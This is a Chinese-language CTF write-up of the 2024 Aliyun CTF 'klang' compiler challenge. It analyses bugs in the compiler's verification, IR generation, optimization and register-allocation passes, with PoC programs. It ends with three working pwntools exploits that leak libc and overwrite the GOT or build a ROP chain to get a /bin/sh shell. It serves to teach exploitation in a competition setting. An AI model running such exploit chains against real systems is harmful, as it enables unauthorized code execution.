2024 阿里云CTF klang wp

瞪了一天编译器……然后啥也没瞪出来，非常好大牢，明年还坐

server.py

流程：

输入代码
编译可执行文件
运行

runtime

提供一些接口：

do_printi：输出整数
do_prints：输出字符串
do_inputi：输入整数
do_random：返回一个随机数
do_inputs：输入字符串
do_array_new：创建一个数组，使用malloc分配内存，结构体：
1
2
3
4
struct array_t { int64_t* data; int64_t size; };
do_array_load：返回arr[index]
do_array_store：arr[index]=value

compiler

编译流程：

Parse

词法分析和语法分析是由bison和flex完成的，语法和c语言差不多，一些不一样的见下：

函数：

function FUNCTIONNAME (TYPE ARG, TYPE ARG…) : TYPE VAR, TYPE AVR… -> TYPE
{
    STATEMENTS
}

: 后面是函数中使用的变量

赋值语句：
1
NAME := VAR;

AST数据结构：

IRGen

Verify

验证AST是否合法：

Module：
- 必须有main函数，无参数，返回类型为int
- 函数不重名
Function：
- 至少有一条语句
- 最后一条语句必须是return
- var的type不能是void
- 最多十个var
- 最多三个para
Block：
- return语句只能出现在block最后
Statement：
- ASSIGN：左右Expression类型一致
- IF：Condition类型为INT
- IFELSE：Condition类型为INT
- WHILE：
  - Condition类型为INT
  - 循环block中不能再有WHILE
- RETURN：
  - 语句Expression类型和所属Function返回类型匹配
  - 如果没有返回类型则所属Function返回类型必须为void
- CALL：Expression合法
Expression：
- VARIABLE：var必须在所属Function中定义，会返回Function中确定var的类型
- BINARY：左值右值类型相同且为INT
- FUNCTION_CALL：函数参数和函数原型匹配，包括参数数量和类型
- ARRAY_ACCESS：
  - 类型和Function中声明匹配
  - Index类型为INT

BUG

VerifyExpression处理BINARY时if外面没return

  case ASTExpression::EX_BINARY: {
    auto *BE = static_cast<ASTExpressionBinary*>(E);
    auto LT = VerifyExpression(BE->GetLHS());
    auto RT = VerifyExpression(BE->GetRHS());
    if(LT.has_value() && RT.has_value()) {
      if(LT.value() != RT.value()) {
/* …… */
    }
  }
  case ASTExpression::EX_FUNCTION_CALL: {

如果LT和RT有一个没有value则会继续进入FUNCTION_CALL的处理，可以通过未声明变量触发

POC：

function main () : int a, int b -> int {
	a := c + b;	/* c未声明，VerifyExpression无返回值 */
	return 0;
}

但把ASTExpressionBinary当ASTExpressionFunctionCall解析时会crash

Generate

IR数据结构：

IRGen数据结构：

这几个class的用处没那么显然，解释一下：

FuncBuilder：管理Function
- 管理BasicBlock
- 管理Instruction
ModuleGenCtx：管理字面量
FuncGenCtx：管理虚拟寄存器
IRGen：创建IR

注意IRGen的过程中：

GenerateFunction在Function的Entry开头初始化了所有Var
同名情况下Var覆盖Para
IF、IFELSE BasicBlock如果最后一条语句为RETURN则末尾不添加JMP，WHILE没有这条判断

BUG

WHILE的BasicBlock最后加了JMP，CodeGen中EmitEpilogue fix函数退出时是根据BasicBlock最后一条一条指令是否是ret来判断的
但WHILE的最后一条指令是jmo，所以函数退出的时候没有恢复栈

void LinearScanRegAlloc::EmitEpilogue() {
  for(auto *BB : (*Func_)) {
    if(BB->IsExit()) {
      auto *Last = *BB->rbegin();
      BB->InsertBefore(new MovMachineInst(MachineOperand::CreateRegister(RBP), MachineOperand::CreateRegister(RSP)), Last);
      BB->InsertBefore(new PopMachineInst(MachineOperand::CreateRegister(RBP)), Last);
    }
  }
}

POC：

function main() : int a -> int
{
	a := 10;
	do{
		prints("abaaba");
		a := a - 1;
		return 0;
	}
	while(a > 0);
	return 0;
}

运行结果：

1
2
3

$ ./test                      
abaaba
zsh: segmentation fault  ./test

Optimize

WorkList算法

ConstantPropagate

数据结构：

BUG

ReplaceIn的时候使用的是Out（应该用In）

auto &State = Out[BB];	// 使用Out

for(auto InstIt = BB->begin(); InstIt != BB->end(); InstIt++) {
  for(size_t i = 0; i < InstIt->Ins(); i++) {
    if(InstIt->GetIn(i).IsRegister()) {
      size_t Reg = InstIt->GetIn(i).RegId();
      if(State.IsConstant(Reg)) {
        int64_t Value = State.GetConstant(Reg);
        InstIt->ReplaceIn(i, Operand::CreateImmediate(Value));	 // ReplaceIn
        Changed = true; 
      }
    }
  }
}

这样如果在block结尾给变量赋值一个常量block中所有过程值都会被覆盖

POC：

function main() : int a, int b -> int 
{
	prints("Please Input a:");
	a := inputi();
	b := 1 + a;
	a := 100;
	prints("b = a + 1 =");
	printi(b);
	return 0;
}

优化前后的IR：

BEFORE :
define main
bb1:
        %0 = #0
        %1 = #0
        %3 = load_label __str0
        call prints %3
        %4 = call inputi
        %0 = %4
        %5 = #1 + %0
        %1 = %5
        %0 = #64
        %7 = load_label __str1
        call prints %7
        call printi %1
        ret #0

AFTER :
define main
bb1:
        %3 = load_label __str0
        call prints %3
        %4 = call inputi
        %7 = load_label __str1
        call prints %7
        call printi #65
        ret #0

输出：

$ ./const            
INPUT a:
12 
OUTPUT b = a + 1:
101

CopyPropagate

数据结构：

CSE

分LocalCSE和GlobalCSE

数据结构：

LocalCSE

以BasicBlock为单位处理，处理函数LocalCSEBlock：

第一个循环填充以下局部变量：
- Mapping：map CSEValue -> Ins ID
- Defs：map CSEValue -> Ins
- State：map Ins ID -> set of 现有的CSEValue对应Ins ID
- Reusable：map CSEValue -> vector of CSEValue出现的所有Ins
第二个循环遍历所有具有重复CSEValue的Ins，做以下变换：

没有处理右值改变的情况，也不用处理，FromInstruction允许右值为Reg

// RHS should be immutable
if((Op1.IsImmediate() || Op1.IsParameter()) && (Op2.IsImmediate() || Op2.IsParameter())) {
  return std::make_optional(CSEValue(BinInst.GetOperation(), Op1, Op2));
}

GlobalCSE

数据结构：

Available Expressions算法：

指令替换：

实际实现：

获取Available Expressions
遍历每一个BasicBlock BB
遍历BB中的每一条Instruction Ins
Ins中存在Available Expressions则：
- 递归遍历BB所有前驱，替换每一个Available Expressions
  1
  2
  a = b + 1 -> a' = b + 1 a = a'
- 替换Ins
  1
  c = b + 1 -> c = a'

BUG

Meet调用的Intersect中如果GCSEState没有初始化则将Other复制过去

if(!Init_) {
  Values_ = std::set(Other.Values_.begin(), Other.Values_.end());
  Init_ = true;
  return;
}

根据算法除了Entry初始化为空其他的BB初始化为全集所以这样也没什么问题（
但实现没有Entry，就有问题了
在函数开头把表达式放进do-while里
- BB的前驱就有了他自己
- 没有Entry的空集把BB自己的表达式取交消掉
- 这样BB中的表达式会被错误优化掉

POC

function main() : -> int 
{
	test(114514, 233333);
	return 0;
}

function test(int a, int b) : int c, int d -> int
{
	d := 1;
	do
	{
		c := a + b;
		prints("OUTPUT c = 114514 + 233333:");
		printi(c);
		d := d - 1;
	}
	while(d > 0);
	return d;
}

优化前后的IR：

BEFORE:
define test
bb1:
        %0 = #0
        %1 = #0
        %1 = #1
        jmp bb3

bb2:
        ret %1

bb3:
        %2 = $0 + $1
        %0 = %2
        %4 = load_label __str0
        call prints %4
        call printi %0
        %6 = %1 - #1
        %1 = %6
        %7 = %1 > #0
        jnz %7, bb3, bb2
            
AFTER:
define test
bb1:
        %1 = #1
        jmp bb3

bb2:
        ret %1

bb3:
        %4 = load_label __str0
        call prints %4
        call printi %8
        %6 = %1 - #1
        %1 = %6
        %7 = %6 > #0
        jnz %7, bb3, bb2

输出：

1
2
3

$ ./gcse1            
OUTPUT c = 114514 + 233333:
0

会有这个输出还有下面👇的问题的原因

GlobalCSEBlock替换的时候会先递归替换BB所有前驱中的expr再换BB

但替换后没有State中删除expr
如果BB没有前驱会造成未初始化访问

POC

function main():->int
{
	test(114514, 233333);
	return 0;
}

function test(int a, int b) : int c, int d -> int
{
	c := a + 1;
	printi(c);
	if (b > 100)
	{
		d := a + 1;
	};
	return d;
}

优化前后的IR

BEFORE:
define test
bb1:
        %0 = #0
        %1 = #0
        %2 = $0 + #1
        %0 = %2
        call printi %0
        %4 = $1 > #64
        jnz %4, bb3, bb2

bb2:
        ret %1

bb3:
        %5 = $0 + #1
        %1 = %5
        jmp bb2
            
AFTER:
define test
bb1:
        %1 = #0
        call printi %6
        %6 = $1 > #64
        jnz %6, bb3, bb2

bb2:
        ret %1

bb3:
        %1 = %6
        jmp bb2

输出：

1 2	`$ ./gcse 140063322342087`

DeadCodeElimination

DeadVariableElimination

数据结构：

1
2
3

struct LivenessState {
  std::set<size_t> LiveRegs_;
};

BUG

在Call、CallVoid和ArrayStore相关变量判断的时候取的是Reg的最后一次定义，有可能在该指令之后，这样会导致之前的定义被优化掉

for(auto InstIt = BB->begin(); InstIt != BB->end(); InstIt++) {
  auto &Inst = *InstIt;
  if(Inst.Type() == Instruction::Call 
  || Inst.Type() == Instruction::CallVoid 
  || Inst.Type() == Instruction::ArrayStore) {
    for(size_t i = 0; i < Inst.Ins(); i++) {
      auto Op = Inst.GetIn(i);
      if(Op.IsRegister()) {
        AddAllToNeeded(LastDefs[Op.RegId()]);	// 取到的LastDef可能在Call之后
      }
    }
  }
}

POC：

function main() : int a, int b, int c -> int 
{
	double(c);
	c := b + 1;
	return 0;
}

function double(int a) : -> int
{
	return a * a;
}

优化前后的IR：

BEFORE
define main
bb1:
        %0 = #0
        %1 = #0
        %2 = #0
        call double %2
        %4 = #0 + #1
        %2 = %4
        ret #0

AFTER
define main
bb1:
        call double %2
        %4 = #1
        %2 = %4
        ret #0
            
FINAL
define main
bb1:
        call double #1	// %2 = #1是常量传播的锅
        ret #0

CodeGen

Codegen
- 数据结构：
- 功能：IR转指令，替换虚拟寄存器
InstSched
- 数据结构：
- 功能：指令调度，顺序优化
RegAlloc：
- 数据结构：
- 功能：寄存器分配

RegAlloc

Linear Scan算法：

BUG

发生Spill的时候只从当前Interval的Start开始，也就是只从发生Spill的时间点开始标记

if(Active.size() == kAllocatableRegisters) {
  auto [Spilled, _] = SpillAtInterval(I);
  auto Slot = AllocateSpillSlot(Spilled);
  Spilled->SpillAt(I->Start(), Slot);
}

如果有BackEdge的话会有问题，会使用Spill前的寄存器而不是Stack空间

POC：

function main() : array a, array b, array c, array d, array e, array f, int g -> int
{
	a := array_new(1);
	b := array_new(2);
	c := array_new(3);
	d := array_new(4);
	e := array_new(5);
	f := array_new(7);
	do
	{
		f[0] := 10;
		g := inputi();
		a[0] := 1;
		b[0] := 2;
		c[0] := 3;
		d[0] := 4;
		e[0] := 5;
		f[0] := 6;
	}
	while(inputi());
	dup(g);
	dup(f[0]);
	return 0;
}

function dup(int a) : -> int
{
	return a * a;
}

输入输出：

$ ./test
114514
1
zsh: segmentation fault  ./test

终于能开始pwn了(ˉ▽ˉ；)…

exp1

GlobalCSE未初始化泄漏libc + RegAlloc任意写改puts的got表

exp.py

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

#p=process('./test')
p=remote('127.0.0.1',9999)
with open('exp.klang','r') as file:
    content=file.read()

p.sendlineafter(b'Give me your code, ended by a line with \'END_OF_SNIPPET\' (excluding quote).',content.encode())
p.sendline(b'END_OF_SNIPPET')
libc=ELF('./libc-2.31.so')
p.recvline()
libcbase=int(p.recvline()[:-1].decode())-0xe2d9b
print(hex(libcbase))
p.sendline(b'1')
p.sendline(str(0x4006a0).encode())
p.sendline(b'1')
p.sendline(str(libcbase+libc.symbols['system']).encode())
p.sendline(b'1')
p.sendline(b'0')
p.interactive()

exp.klang

function main() : int libcbase -> int
{
	leak_libc(123123, 23333);
	hack();
	prints("/bin/sh");
	return 0;
}

function leak_libc(int a, int b) :  int c, int d-> int
{
	c := a + 1;
	printi(c);
	if (b > 100)
	{
		d := a + 1;
	};
	return d;	
}

function hack() : array a, array b, array c, array d, array e, array f, int g -> int
{
	a := array_new(1);
	b := array_new(2);
	c := array_new(3);
	d := array_new(4);
	e := array_new(5);
	f := array_new(7);
	do
	{
		f[0] := inputi();
		g := inputi();
		a[0] := 1;
		b[0] := 2;
		c[0] := 3;
		d[0] := 4;
		e[0] := 5;
	}
	while(inputi());
	dup(g);
	dup(f[0]);
	return 0;
}

function dup(int a) : -> int
{
	return a * a;
}

exp2

GlobalCSE未初始化泄漏libc + DCE任意写

exp.py

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

#p=process('./test')
p=remote('127.0.0.1',9999)
with open('exp.klang','r') as file:
    content=file.read()

p.sendlineafter(b'Give me your code, ended by a line with \'END_OF_SNIPPET\' (excluding quote).',content.encode())
p.sendline(b'END_OF_SNIPPET')
libc=ELF('./libc-2.31.so')
p.recvline()
libcbase=int(p.recvline()[:-1].decode())-0xe2d9b
p.sendline(str(0x4006a0).encode())
p.sendline(str(libcbase+libc.symbols['system']).encode())
p.interactive()

exp.klang

function main() : int a -> int
{
	leak_libc(123, 456);
	write();
	prints("/bin/sh");
	return 0;
}

function write() : int a -> void
{
	a := inputi();
	write_();
	return;
}

function write_() : array c -> void
{
	c[0] := inputi();
	c := array_new(1);
	return;
}

function leak_libc(int a, int b) :  int c, int d-> int
{
	c := a + 1;
	printi(c);
	if (b > 100)
	{
		d := a + 1;
	};
	return d;	
}

exp3

GlobalCSE未初始化泄漏libc + WHILE中ret

exp.py

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

#p=process('./test')
p=remote('127.0.0.1',9999)
with open('exp.klang','r') as file:
    content=file.read()

p.sendlineafter(b'Give me your code, ended by a line with \'END_OF_SNIPPET\' (excluding quote).',content.encode())
p.sendline(b'END_OF_SNIPPET')
libc=ELF('./libc-2.31.so')
rdi=0x4018c3
ret=0x40101a
binsh=0x404098
p.recvline()
libcbase=int(p.recvline()[:-1].decode())-0xe2d9b
p.sendline(str(rdi).encode())
p.sendline(str(binsh).encode())
p.sendline(str(libcbase+libc.symbols['system']).encode())
p.sendline(b'1')
p.interactive()

exp.klang

function main() : int a, int b, int c, int d -> int
{
	leak_libc(123, 456);
	a := inputi();
	b := inputi();
	c := inputi();
	d := inputi();
	prints("/bin/sh");
	do
	{
		return 0;
	}
	while(inputi());
	a := dup(a);
	b := dup(b);
	c := dup(c);
	d := dup(d);
	return 0;
}

function leak_libc(int a, int b) :  int c, int d-> int
{
	c := a + 1;
	printi(c);
	if (b > 100)
	{
		d := a + 1;
	};
	return d;	
}

function dup(int a) : -> int
{
	return a * a;
}

CTF > wp

#wp

2024 阿里云CTF klang wp

http://akaieurus.github.io/2024/03/30/阿里云klang/

作者

Eurus

发布于

2024年3月30日

许可协议

2024 阿里云CTF BadApple wp 上一篇

《UEFI原理与编程》读书笔记下一篇